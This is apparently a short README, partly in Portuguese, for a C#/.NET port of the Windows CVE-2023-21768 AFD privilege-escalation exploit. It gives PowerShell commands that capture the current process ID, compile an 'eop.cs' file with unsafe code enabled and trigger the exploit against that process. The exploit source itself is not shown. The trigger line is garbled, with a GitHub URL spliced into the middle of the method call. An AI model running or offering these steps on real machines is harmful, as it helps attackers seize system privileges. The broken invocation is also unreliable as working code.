
C# / .NET version of CVE-2023-21768
Porte Dotnet / c# do exploit AFD-for-WinSock-EoP
Referências:
Às vezes você não pode usar binários compilados.
Execute o seguinte no powershell.
$PWSH_PID = ([System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -ExpandProperty ID)
echo "[*] Current powershell PID: $PWSH_PID"
echo "[+] Compiling EoP exploit"
Add-Type -Path eop.cs -CompilerOptions "-unsafe"
echo "[+] Triggering exploit"
[XOR.EoP]:https://raw.githubusercontent.com/xboxoneresearch/cve-2023-21768-dotnet/HEAD/:Run($PWSH_PID)
echo "[+] Exploit finished"